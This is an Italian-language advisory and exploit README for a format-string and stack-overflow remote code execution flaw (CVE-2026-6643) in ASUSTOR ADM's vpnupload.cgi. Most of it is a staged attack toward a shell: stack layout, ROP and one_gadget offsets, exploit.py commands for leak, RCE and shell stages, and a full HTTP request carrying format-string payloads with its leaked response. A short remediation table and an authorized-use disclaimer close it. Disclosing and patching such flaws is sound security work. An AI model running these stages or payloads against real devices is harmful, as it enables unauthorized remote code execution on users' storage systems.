
ASUSTOR ADM 5.1.2 vpnupload.cgi Format String e Stack Buffer Overflow RCE (CVE-2026-6643)
Format String (CWE-134) + Stack Buffer Overflow (CWE-121) in vpnupload.cgi
| Campo | Valore |
|---|---|
| Prodotto | ASUSTOR ADM (ASUSTOR Data Master) |
| Versione interessata | ADM 5.1.2.REO1 (X64_G3, 2026-02-25) |
| Componente | /portal/apis/settings/vpnupload.cgi — azione upload_wireguard |
| Tipo di vulnerabilità | CWE-134 Format String / CWE-121 Stack Buffer Overflow |
| Gravità | Alta |
| Autenticazione richiesta | Sì (cookie Revive_Session valido) |
| Data di scoperta | 2026-03-14 |
L'handler upload_wireguard analizza un file di configurazione WireGuard, assembla i campi in un oggetto JSON, quindi passa il risultato direttamente come argomento format string a printf():
pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2); // user-controlled format string
Un attaccante può incorporare specificatori di formato printf in qualsiasi campo della configurazione WireGuard:
%x / %p — lettura della memoria dello stack (information leak)%n — scrittura in memoria arbitraria (esecuzione di codice tramite sovrascrittura del GOT)Lo stesso handler usa sscanf("%s") senza limiti per copiare i valori di configurazione in buffer di stack da 300 byte, mentre fgets accetta fino a 32.768 byte per riga:
__isoc23_sscanf(__s, "PrivateKey = %s", local_ac4); // 300B
__isoc23_sscanf(__s, "Endpoint = %s", local_164); // 300B
// 8 fields total; only DNS has a length limit
Fornire più di 300 byte provoca un overflow nei buffer adiacenti. A 4.000 byte il RIP salvato viene corrotto, causando SIGSEGV.
| Protezione | Stato | Impatto |
|---|---|---|
| FORTIFY_SOURCE | Disabilitata | printf (non __printf_chk) — la scrittura %n funziona |
| Stack Canary | Disabilitato | Nessun leak del canary richiesto |
| PIE | Disabilitato | Gli indirizzi GOT e dei gadget sono statici |
| RELRO | Parziale | Il GOT è scrivibile |
Step 1 Format string %x → Leak stack memory, recover libc base
Step 2 Endpoint overflow → Overwrite saved RIP with one-gadget / system()
Step 3 execve("/bin/sh") → Shell as the web server user
local_164 (il buffer Endpoint) si trova a rbp-0x164, il più vicino degli otto buffer all'indirizzo di ritorno salvato:
Stack layout (Ghidra):
local_ac4 PrivateKey rbp-0xac4 300B
local_998 Address rbp-0x998 300B
local_86c PublicKey rbp-0x86c 300B
local_740 ListenPort rbp-0x740 300B
local_4e8 PresharedKey rbp-0x4e8 300B
local_3bc AllowedIPs rbp-0x3bc 300B
local_290 PersistentKeepalive rbp-0x290 300B
local_164 Endpoint rbp-0x164 300B ← target
saved RBP rbp+0x000
saved RIP rbp+0x008 ← 0x164 + 8 = 364 bytes away
sscanf("%s") interrompe la copia in corrispondenza di un byte nullo. Un indirizzo libc (0x7f...) in little-endian termina con due byte nulli. Tuttavia, i due byte superiori di qualsiasi RIP salvato contengono già 0x0000, quindi la scrittura avviene correttamente anche se sscanf termina prima:
one_gadget address 0x00007f1234567890 (little-endian):
\x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
^--- sscanf stops here
but these bytes were already 0x00 → correct
Tutti i gadget ROP intermedi devono provenire anch'essi da libc (intervallo 0x7f...) per evitare byte nulli incorporati. Solo il valore finale della catena può terminare con byte nulli.
uv add requests
uv run exploit.py <host:port> '<cookie>' --stage offset
Output di esempio:
[*] Detecting format string argument offset...
[+] Offset: 8 (echo: AAAA.41414141...)
uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8
Output di esempio:
[+] Stack dump (args 8..47):
[ 8] 0x0000000000000000
[ 9] 0x00007f8b2c3d4e5f ← libc candidate
...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
Subtract the known offset of whichever symbol this is:
libc_base = 0x7f8b2c3d4e5f - <symbol_offset>
Identifica il simbolo e calcola la base di libc:
readelf -s libc.so.6 | grep -w __libc_start_main
# e.g. offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f
# Try one_gadget first (use the one_gadget tool to get correct offsets)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000
# Fall back to pop rdi + system() ROP chain if one_gadget fails
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000
uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'
Estrai libc.so.6 dall'immagine del firmware, quindi esegui:
# system() offset
readelf -s libc.so.6 | grep -w system
# /bin/sh string offset
strings -a -t x libc.so.6 | grep '/bin/sh'
# one_gadget offsets
one_gadget libc.so.6 # gem install one_gadget
Aggiorna le costanti in exploit.py:
LIBC_SYSTEM = 0x055410
LIBC_BINSH = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND
--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"
dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"
[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1
[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--
Nota: Sono richieste due sezioni multipart. Il parser utilizza un contatore di boundary; il parsing
sscanfsi attiva solo nella seconda sezione.
Risposta (campo clientprivatekey):
AAAA_feebd19f_0000012b_0000007d_00000002
Imposta PrivateKey a 4.000 byte → SIGSEGV (codice di uscita 139).
| Vulnerabilità | Correzione |
|---|---|
| Format String | Sostituisci printf(pcVar2) con printf("%s", pcVar2) oppure fputs(pcVar2, stdout) |
| Buffer Overflow | Aggiungi limiti di lunghezza a tutte le format string di sscanf (es. %299s per buffer da 300 byte) |
X64_G3_5.1.2.REO1.img — vpnupload.cgi estratto dall'immagineld-linux e le librerie condivise del firmwareje → jmp all'offset 0x1224 (solo test locali)Questo exploit è fornito esclusivamente per ricerca sulla sicurezza e test autorizzati. Non utilizzarlo contro sistemi senza esplicita autorizzazione.